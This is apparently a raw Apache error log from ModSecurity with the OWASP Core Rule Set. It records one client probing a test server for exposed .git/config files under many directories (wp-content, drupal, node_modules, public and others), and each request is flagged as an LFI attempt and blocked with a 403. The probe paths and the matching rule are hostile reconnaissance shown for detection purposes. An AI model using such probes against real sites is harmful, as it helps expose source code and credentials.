[Tue Dec 03 03:51:55.122193 2024] [:error] [pid 3718393] [client 179.43.188.122:49558] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /extensions/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/extensions/.git/config"] [unique_id "Z05yS6bYn-Yqmk1OVzHbGgAAAAQ"]
[Tue Dec 03 03:51:55.122602 2024] [:error] [pid 3718393] [client 179.43.188.122:49558] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/extensions/.git/config"] [unique_id "Z05yS6bYn-Yqmk1OVzHbGgAAAAQ"]
[Tue Dec 03 03:51:55.122874 2024] [:error] [pid 3718393] [client 179.43.188.122:49558] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/extensions/.git/config"] [unique_id "Z05yS6bYn-Yqmk1OVzHbGgAAAAQ"]
[Tue Dec 03 03:51:55.124827 2024] [:error] [pid 3718389] [client 179.43.188.122:49572] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.git/config"] [unique_id "Z05yS9z3iA2SsyYhC6dzGQAAAAA"]
[Tue Dec 03 03:51:55.125100 2024] [:error] [pid 3718389] [client 179.43.188.122:49572] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.git/config"] [unique_id "Z05yS9z3iA2SsyYhC6dzGQAAAAA"]
[Tue Dec 03 03:51:55.125283 2024] [:error] [pid 3718389] [client 179.43.188.122:49572] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.git/config"] [unique_id "Z05yS9z3iA2SsyYhC6dzGQAAAAA"]
[Tue Dec 03 03:51:55.126925 2024] [:error] [pid 3718403] [client 179.43.188.122:49584] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /drupal/sites/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/drupal/sites/.git/config"] [unique_id "Z05ySySprIZhWfa05WPBZgAAAAU"]
[Tue Dec 03 03:51:55.127167 2024] [:error] [pid 3718403] [client 179.43.188.122:49584] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/drupal/sites/.git/config"] [unique_id "Z05ySySprIZhWfa05WPBZgAAAAU"]
[Tue Dec 03 03:51:55.127343 2024] [:error] [pid 3718403] [client 179.43.188.122:49584] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/drupal/sites/.git/config"] [unique_id "Z05ySySprIZhWfa05WPBZgAAAAU"]
[Tue Dec 03 03:51:55.160559 2024] [:error] [pid 3718640] [client 179.43.188.122:49592] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /prestashop/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prestashop/.git/config"] [unique_id "Z05yS7Zfi9eLA6ctZFcEsQAAAAY"]
[Tue Dec 03 03:51:55.160651 2024] [:error] [pid 3718391] [client 179.43.188.122:49600] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /docs/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docs/.git/config"] [unique_id "Z05yS8kOD90yt6tvnj2-xQAAAAI"]
[Tue Dec 03 03:51:55.161059 2024] [:error] [pid 3718391] [client 179.43.188.122:49600] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docs/.git/config"] [unique_id "Z05yS8kOD90yt6tvnj2-xQAAAAI"]
[Tue Dec 03 03:51:55.161140 2024] [:error] [pid 3718640] [client 179.43.188.122:49592] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prestashop/.git/config"] [unique_id "Z05yS7Zfi9eLA6ctZFcEsQAAAAY"]
[Tue Dec 03 03:51:55.161356 2024] [:error] [pid 3718391] [client 179.43.188.122:49600] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docs/.git/config"] [unique_id "Z05yS8kOD90yt6tvnj2-xQAAAAI"]
[Tue Dec 03 03:51:55.163409 2024] [:error] [pid 3718640] [client 179.43.188.122:49592] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prestashop/.git/config"] [unique_id "Z05yS7Zfi9eLA6ctZFcEsQAAAAY"]
[Tue Dec 03 03:51:55.164197 2024] [:error] [pid 3718390] [client 179.43.188.122:49608] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /documentation/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/documentation/.git/config"] [unique_id "Z05ySzyXJ-YYyYJAX9Q2LAAAAAE"]
[Tue Dec 03 03:51:55.164539 2024] [:error] [pid 3718390] [client 179.43.188.122:49608] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/documentation/.git/config"] [unique_id "Z05ySzyXJ-YYyYJAX9Q2LAAAAAE"]
[Tue Dec 03 03:51:55.164935 2024] [:error] [pid 3718390] [client 179.43.188.122:49608] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/documentation/.git/config"] [unique_id "Z05ySzyXJ-YYyYJAX9Q2LAAAAAE"]
[Tue Dec 03 03:51:55.198560 2024] [:error] [pid 3718392] [client 179.43.188.122:49634] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /database/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.git/config"] [unique_id "Z05yS9yy8nN_0LGgM1DalgAAAAM"]
[Tue Dec 03 03:51:55.199139 2024] [:error] [pid 3718392] [client 179.43.188.122:49634] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.git/config"] [unique_id "Z05yS9yy8nN_0LGgM1DalgAAAAM"]
[Tue Dec 03 03:51:55.199568 2024] [:error] [pid 3718392] [client 179.43.188.122:49634] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.git/config"] [unique_id "Z05yS9yy8nN_0LGgM1DalgAAAAM"]
[Tue Dec 03 03:51:55.203329 2024] [:error] [pid 3718393] [client 179.43.188.122:49624] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /data/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/data/.git/config"] [unique_id "Z05yS6bYn-Yqmk1OVzHbGwAAAAQ"]
[Tue Dec 03 03:51:55.203394 2024] [authz_core:error] [pid 3718389] [client 179.43.188.122:49650] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.git
[Tue Dec 03 03:51:55.203943 2024] [:error] [pid 3718393] [client 179.43.188.122:49624] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/data/.git/config"] [unique_id "Z05yS6bYn-Yqmk1OVzHbGwAAAAQ"]
[Tue Dec 03 03:51:55.204343 2024] [:error] [pid 3718393] [client 179.43.188.122:49624] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/data/.git/config"] [unique_id "Z05yS6bYn-Yqmk1OVzHbGwAAAAQ"]
[Tue Dec 03 03:51:55.235675 2024] [:error] [pid 3718403] [client 179.43.188.122:49666] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /node_modules/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.git/config"] [unique_id "Z05ySySprIZhWfa05WPBZwAAAAU"]
[Tue Dec 03 03:51:55.236141 2024] [:error] [pid 3718403] [client 179.43.188.122:49666] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.git/config"] [unique_id "Z05ySySprIZhWfa05WPBZwAAAAU"]
[Tue Dec 03 03:51:55.236476 2024] [:error] [pid 3718403] [client 179.43.188.122:49666] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.git/config"] [unique_id "Z05ySySprIZhWfa05WPBZwAAAAU"]
[Tue Dec 03 03:51:55.240356 2024] [:error] [pid 3718391] [client 179.43.188.122:49684] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.git/config"] [unique_id "Z05yS8kOD90yt6tvnj2-xgAAAAI"]
[Tue Dec 03 03:51:55.240802 2024] [:error] [pid 3718391] [client 179.43.188.122:49684] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.git/config"] [unique_id "Z05yS8kOD90yt6tvnj2-xgAAAAI"]
[Tue Dec 03 03:51:55.241101 2024] [:error] [pid 3718391] [client 179.43.188.122:49684] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.git/config"] [unique_id "Z05yS8kOD90yt6tvnj2-xgAAAAI"]
[Tue Dec 03 03:51:55.244035 2024] [:error] [pid 3718640] [client 179.43.188.122:49682] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /bower_components/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/bower_components/.git/config"] [unique_id "Z05yS7Zfi9eLA6ctZFcEsgAAAAY"]
[Tue Dec 03 03:51:55.244480 2024] [:error] [pid 3718640] [client 179.43.188.122:49682] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/bower_components/.git/config"] [unique_id "Z05yS7Zfi9eLA6ctZFcEsgAAAAY"]
[Tue Dec 03 03:51:55.244813 2024] [:error] [pid 3718640] [client 179.43.188.122:49682] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/bower_components/.git/config"] [unique_id "Z05yS7Zfi9eLA6ctZFcEsgAAAAY"]
[Tue Dec 03 03:51:55.273383 2024] [:error] [pid 3718390] [client 179.43.188.122:49698] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /shared/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shared/.git/config"] [unique_id "Z05ySzyXJ-YYyYJAX9Q2LQAAAAE"]
[Tue Dec 03 03:51:55.274102 2024] [:error] [pid 3718390] [client 179.43.188.122:49698] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shared/.git/config"] [unique_id "Z05ySzyXJ-YYyYJAX9Q2LQAAAAE"]
[Tue Dec 03 03:51:55.274838 2024] [:error] [pid 3718390] [client 179.43.188.122:49698] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shared/.git/config"] [unique_id "Z05ySzyXJ-YYyYJAX9Q2LQAAAAE"]
[Tue Dec 03 03:51:55.276060 2024] [:error] [pid 3718392] [client 179.43.188.122:49704] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /common/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/common/.git/config"] [unique_id "Z05yS9yy8nN_0LGgM1DalwAAAAM"]
[Tue Dec 03 03:51:55.276503 2024] [:error] [pid 3718392] [client 179.43.188.122:49704] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/common/.git/config"] [unique_id "Z05yS9yy8nN_0LGgM1DalwAAAAM"]
[Tue Dec 03 03:51:55.276809 2024] [:error] [pid 3718392] [client 179.43.188.122:49704] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/common/.git/config"] [unique_id "Z05yS9yy8nN_0LGgM1DalwAAAAM"]
